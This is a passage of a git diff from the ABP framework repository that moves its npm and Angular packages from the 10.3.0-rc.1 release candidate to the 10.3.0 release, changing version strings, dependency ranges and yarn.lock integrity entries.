+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/virtual-file-explorer/app/package.json b/modules/virtual-file-explorer/app/package.json
index fb9969f9b4..681f89a5ba 100644
--- a/modules/virtual-file-explorer/app/package.json
+++ b/modules/virtual-file-explorer/app/package.json
@@ -1,9 +1,9 @@
{
- "version": "1.0.0",
- "name": "my-app",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/virtual-file-explorer": "~10.3.0-rc.1"
- }
+ "version": "1.0.0",
+ "name": "my-app",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/virtual-file-explorer": "~10.3.0"
+ }
}
diff --git a/npm/lerna.json b/npm/lerna.json
index 7497b00594..acf6a49b45 100644
--- a/npm/lerna.json
+++ b/npm/lerna.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"packages": [
"packs/*"
],
diff --git a/npm/ng-packs/package.json b/npm/ng-packs/package.json
index 25ab512788..8feb2de24c 100644
--- a/npm/ng-packs/package.json
+++ b/npm/ng-packs/package.json
@@ -48,8 +48,8 @@
},
"private": true,
"devDependencies": {
- "@abp/ng.theme.lepton-x": "~5.3.0-rc.1",
- "@abp/utils": "~10.3.0-rc.1",
+ "@abp/ng.theme.lepton-x": "~5.3.0",
+ "@abp/utils": "~10.3.0",
"@angular-devkit/build-angular": "~21.2.0",
"@angular-devkit/core": "~21.2.0",
"@angular-devkit/schematics": "~21.2.0",
diff --git a/npm/ng-packs/packages/account-core/package.json b/npm/ng-packs/packages/account-core/package.json
index 6c317fc541..cfbee9058d 100644
--- a/npm/ng-packs/packages/account-core/package.json
+++ b/npm/ng-packs/packages/account-core/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.account.core",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"publishConfig": {
diff --git a/npm/ng-packs/packages/account/package.json b/npm/ng-packs/packages/account/package.json
index dda1cb637b..bee5f39ff5 100644
--- a/npm/ng-packs/packages/account/package.json
+++ b/npm/ng-packs/packages/account/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.account",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.account.core": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.account.core": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"publishConfig": {
diff --git a/npm/ng-packs/packages/cms-kit/package.json b/npm/ng-packs/packages/cms-kit/package.json
index f1daf4e71a..d18df04cd3 100644
--- a/npm/ng-packs/packages/cms-kit/package.json
+++ b/npm/ng-packs/packages/cms-kit/package.json
@@ -1,15 +1,15 @@
{
"name": "@abp/ng.cms-kit",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.setting-management": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.setting-management": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"@toast-ui/editor": "~3.0.0",
"codemirror": "~6.0.0",
"tslib": "^2.0.0"
diff --git a/npm/ng-packs/packages/components/package.json b/npm/ng-packs/packages/components/package.json
index 2757c043e4..f730716d60 100644
--- a/npm/ng-packs/packages/components/package.json
+++ b/npm/ng-packs/packages/components/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.components",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"peerDependencies": {
- "@abp/ng.core": ">=10.3.0-rc.1",
- "@abp/ng.theme.shared": ">=10.3.0-rc.1"
+ "@abp/ng.core": ">=10.3.0",
+ "@abp/ng.theme.shared": ">=10.3.0"
},
"dependencies": {
"chart.js": "^3.5.1",
diff --git a/npm/ng-packs/packages/core/package.json b/npm/ng-packs/packages/core/package.json
index 20de8332b5..afc9f2287c 100644
--- a/npm/ng-packs/packages/core/package.json
+++ b/npm/ng-packs/packages/core/package.json
@@ -1,13 +1,13 @@
{
"name": "@abp/ng.core",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/utils": "~10.3.0-rc.1",
+ "@abp/utils": "~10.3.0",
"just-clone": "^6.0.0",
"just-compare": "^2.0.0",
"ts-toolbelt": "^9.0.0",
diff --git a/npm/ng-packs/packages/feature-management/package.json b/npm/ng-packs/packages/feature-management/package.json
index 0e8eeebbff..867f5ec95c 100644
--- a/npm/ng-packs/packages/feature-management/package.json
+++ b/npm/ng-packs/packages/feature-management/package.json
@@ -1,13 +1,13 @@
{
"name": "@abp/ng.feature-management",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"peerDependencies": {
diff --git a/npm/ng-packs/packages/generators/package.json b/npm/ng-packs/packages/generators/package.json
index dbb4815044..ab07a3cb03 100644
--- a/npm/ng-packs/packages/generators/package.json
+++ b/npm/ng-packs/packages/generators/package.json
@@ -1,6 +1,6 @@
{
"name": "@abp/nx.generators",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"generators": "./generators.json",
"type": "commonjs",
diff --git a/npm/ng-packs/packages/identity/package.json b/npm/ng-packs/packages/identity/package.json
index 10f02845fb..8826eafeec 100644
--- a/npm/ng-packs/packages/identity/package.json
+++ b/npm/ng-packs/packages/identity/package.json
@@ -1,15 +1,15 @@
{
"name": "@abp/ng.identity",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.permission-management": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.permission-management": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"publishConfig": {
diff --git a/npm/ng-packs/packages/oauth/package.json b/npm/ng-packs/packages/oauth/package.json
index 7839f8ae15..d6f455c4cf 100644
--- a/npm/ng-packs/packages/oauth/package.json
+++ b/npm/ng-packs/packages/oauth/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.oauth",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.core": "~10.3.0-rc.1",
- "@abp/utils": "~10.3.0-rc.1",
+ "@abp/ng.core": "~10.3.0",
+ "@abp/utils": "~10.3.0",
"angular-oauth2-oidc": "^20.0.0",
"just-clone": "^6.0.0",
"just-compare": "^2.0.0",
diff --git a/npm/ng-packs/packages/permission-management/package.json b/npm/ng-packs/packages/permission-management/package.json
index a543261215..5295a7fd9f 100644
--- a/npm/ng-packs/packages/permission-management/package.json
+++ b/npm/ng-packs/packages/permission-management/package.json
@@ -1,13 +1,13 @@
{
"name": "@abp/ng.permission-management",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"peerDependencies": {
diff --git a/npm/ng-packs/packages/schematics/package.json b/npm/ng-packs/packages/schematics/package.json
index 57fa2ed133..dbbfe297f6 100644
--- a/npm/ng-packs/packages/schematics/package.json
+++ b/npm/ng-packs/packages/schematics/package.json
@@ -1,6 +1,6 @@
{
"name": "@abp/ng.schematics",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"author": "",
"schematics": "./collection.json",
"dependencies": {
diff --git a/npm/ng-packs/packages/setting-management/package.json b/npm/ng-packs/packages/setting-management/package.json
index 9a9255e9e8..2635bd99d0 100644
--- a/npm/ng-packs/packages/setting-management/package.json
+++ b/npm/ng-packs/packages/setting-management/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.setting-management",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.components": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.components": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"peerDependencies": {
diff --git a/npm/ng-packs/packages/tenant-management/package.json b/npm/ng-packs/packages/tenant-management/package.json
index c0de3d0b5f..ba369306b3 100644
--- a/npm/ng-packs/packages/tenant-management/package.json
+++ b/npm/ng-packs/packages/tenant-management/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.tenant-management",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.feature-management": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.feature-management": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"publishConfig": {
diff --git a/npm/ng-packs/packages/theme-basic/package.json b/npm/ng-packs/packages/theme-basic/package.json
index bfdbcac85e..cb1cffc0e5 100644
--- a/npm/ng-packs/packages/theme-basic/package.json
+++ b/npm/ng-packs/packages/theme-basic/package.json
@@ -1,14 +1,14 @@
{
"name": "@abp/ng.theme.basic",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.account.core": "~10.3.0-rc.1",
- "@abp/ng.theme.shared": "~10.3.0-rc.1",
+ "@abp/ng.account.core": "~10.3.0",
+ "@abp/ng.theme.shared": "~10.3.0",
"tslib": "^2.0.0"
},
"publishConfig": {
diff --git a/npm/ng-packs/packages/theme-shared/package.json b/npm/ng-packs/packages/theme-shared/package.json
index d80eeacf7b..707ab22edc 100644
--- a/npm/ng-packs/packages/theme-shared/package.json
+++ b/npm/ng-packs/packages/theme-shared/package.json
@@ -1,13 +1,13 @@
{
"name": "@abp/ng.theme.shared",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"homepage": "https://abp.io",
"repository": {
"type": "git",
"url": "https://github.com/abpframework/abp.git"
},
"dependencies": {
- "@abp/ng.core": "~10.3.0-rc.1",
+ "@abp/ng.core": "~10.3.0",
"@fortawesome/fontawesome-free": "^6.0.0",
"@ng-bootstrap/ng-bootstrap": "~20.0.0",
"@ngx-validate/core": "^0.2.0",
diff --git a/npm/packs/anchor-js/package.json b/npm/packs/anchor-js/package.json
index ec7579edc2..1f825c178c 100644
--- a/npm/packs/anchor-js/package.json
+++ b/npm/packs/anchor-js/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/anchor-js",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"anchor-js": "^5.0.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/aspnetcore.components.server.basictheme/package.json b/npm/packs/aspnetcore.components.server.basictheme/package.json
index 78abe13bb6..af95ebfbe8 100644
--- a/npm/packs/aspnetcore.components.server.basictheme/package.json
+++ b/npm/packs/aspnetcore.components.server.basictheme/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/aspnetcore.components.server.basictheme",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/aspnetcore.components.server.theming": "~10.3.0-rc.1"
+ "@abp/aspnetcore.components.server.theming": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/aspnetcore.components.server.theming/package.json b/npm/packs/aspnetcore.components.server.theming/package.json
index 1bcf6ad27e..27df25ce73 100644
--- a/npm/packs/aspnetcore.components.server.theming/package.json
+++ b/npm/packs/aspnetcore.components.server.theming/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/aspnetcore.components.server.theming",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/bootstrap": "~10.3.0-rc.1",
- "@abp/font-awesome": "~10.3.0-rc.1"
+ "@abp/bootstrap": "~10.3.0",
+ "@abp/font-awesome": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/aspnetcore.mvc.ui.theme.basic/package.json b/npm/packs/aspnetcore.mvc.ui.theme.basic/package.json
index 5644d19737..fa174ab32f 100644
--- a/npm/packs/aspnetcore.mvc.ui.theme.basic/package.json
+++ b/npm/packs/aspnetcore.mvc.ui.theme.basic/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/aspnetcore.mvc.ui.theme.basic",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/aspnetcore.mvc.ui.theme.shared/package.json b/npm/packs/aspnetcore.mvc.ui.theme.shared/package.json
index ecd2014528..2660ac8985 100644
--- a/npm/packs/aspnetcore.mvc.ui.theme.shared/package.json
+++ b/npm/packs/aspnetcore.mvc.ui.theme.shared/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/aspnetcore.mvc.ui.theme.shared",
"repository": {
"type": "git",
@@ -10,20 +10,20 @@
"access": "public"
},
"dependencies": {
- "@abp/aspnetcore.mvc.ui": "~10.3.0-rc.1",
- "@abp/bootstrap": "~10.3.0-rc.1",
- "@abp/bootstrap-datepicker": "~10.3.0-rc.1",
- "@abp/bootstrap-daterangepicker": "~10.3.0-rc.1",
- "@abp/datatables.net-bs5": "~10.3.0-rc.1",
- "@abp/font-awesome": "~10.3.0-rc.1",
- "@abp/jquery-validation-unobtrusive": "~10.3.0-rc.1",
- "@abp/lodash": "~10.3.0-rc.1",
- "@abp/luxon": "~10.3.0-rc.1",
- "@abp/malihu-custom-scrollbar-plugin": "~10.3.0-rc.1",
- "@abp/moment": "~10.3.0-rc.1",
- "@abp/select2": "~10.3.0-rc.1",
- "@abp/sweetalert2": "~10.3.0-rc.1",
- "@abp/timeago": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui": "~10.3.0",
+ "@abp/bootstrap": "~10.3.0",
+ "@abp/bootstrap-datepicker": "~10.3.0",
+ "@abp/bootstrap-daterangepicker": "~10.3.0",
+ "@abp/datatables.net-bs5": "~10.3.0",
+ "@abp/font-awesome": "~10.3.0",
+ "@abp/jquery-validation-unobtrusive": "~10.3.0",
+ "@abp/lodash": "~10.3.0",
+ "@abp/luxon": "~10.3.0",
+ "@abp/malihu-custom-scrollbar-plugin": "~10.3.0",
+ "@abp/moment": "~10.3.0",
+ "@abp/select2": "~10.3.0",
+ "@abp/sweetalert2": "~10.3.0",
+ "@abp/timeago": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/aspnetcore.mvc.ui/package-lock.json b/npm/packs/aspnetcore.mvc.ui/package-lock.json
index ae5b897371..47569fdc1f 100644
--- a/npm/packs/aspnetcore.mvc.ui/package-lock.json
+++ b/npm/packs/aspnetcore.mvc.ui/package-lock.json
@@ -1,6 +1,6 @@
{
"name": "@abp/aspnetcore.mvc.ui",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"lockfileVersion": 1,
"requires": true,
"packages": {
diff --git a/npm/packs/aspnetcore.mvc.ui/package.json b/npm/packs/aspnetcore.mvc.ui/package.json
index f807cb0568..2aaa3efce2 100644
--- a/npm/packs/aspnetcore.mvc.ui/package.json
+++ b/npm/packs/aspnetcore.mvc.ui/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/aspnetcore.mvc.ui",
"repository": {
"type": "git",
diff --git a/npm/packs/blogging/package.json b/npm/packs/blogging/package.json
index aef9f1b628..96fda325de 100644
--- a/npm/packs/blogging/package.json
+++ b/npm/packs/blogging/package.json
@@ -1,14 +1,14 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/blogging",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0-rc.1",
- "@abp/owl.carousel": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1",
- "@abp/tui-editor": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0",
+ "@abp/owl.carousel": "~10.3.0",
+ "@abp/prismjs": "~10.3.0",
+ "@abp/tui-editor": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/bootstrap-datepicker/package.json b/npm/packs/bootstrap-datepicker/package.json
index fd834b5ae6..1274202764 100644
--- a/npm/packs/bootstrap-datepicker/package.json
+++ b/npm/packs/bootstrap-datepicker/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/bootstrap-datepicker",
"repository": {
"type": "git",
diff --git a/npm/packs/bootstrap-daterangepicker/package.json b/npm/packs/bootstrap-daterangepicker/package.json
index b1251d52e4..e6aa0182c5 100644
--- a/npm/packs/bootstrap-daterangepicker/package.json
+++ b/npm/packs/bootstrap-daterangepicker/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/bootstrap-daterangepicker",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/moment": "~10.3.0-rc.1",
+ "@abp/moment": "~10.3.0",
"bootstrap-daterangepicker": "^3.1.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/bootstrap/package.json b/npm/packs/bootstrap/package.json
index e32c9512ac..d153222da9 100644
--- a/npm/packs/bootstrap/package.json
+++ b/npm/packs/bootstrap/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/bootstrap",
"repository": {
"type": "git",
@@ -10,8 +10,8 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
- "@abp/popper.js": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
+ "@abp/popper.js": "~10.3.0",
"bootstrap": "^5.3.8"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/chart.js/package.json b/npm/packs/chart.js/package.json
index 49fa5f77f4..d2963f29a2 100644
--- a/npm/packs/chart.js/package.json
+++ b/npm/packs/chart.js/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/chart.js",
"publishConfig": {
"access": "public"
diff --git a/npm/packs/clipboard/package.json b/npm/packs/clipboard/package.json
index c2b551658a..4def145537 100644
--- a/npm/packs/clipboard/package.json
+++ b/npm/packs/clipboard/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/clipboard",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
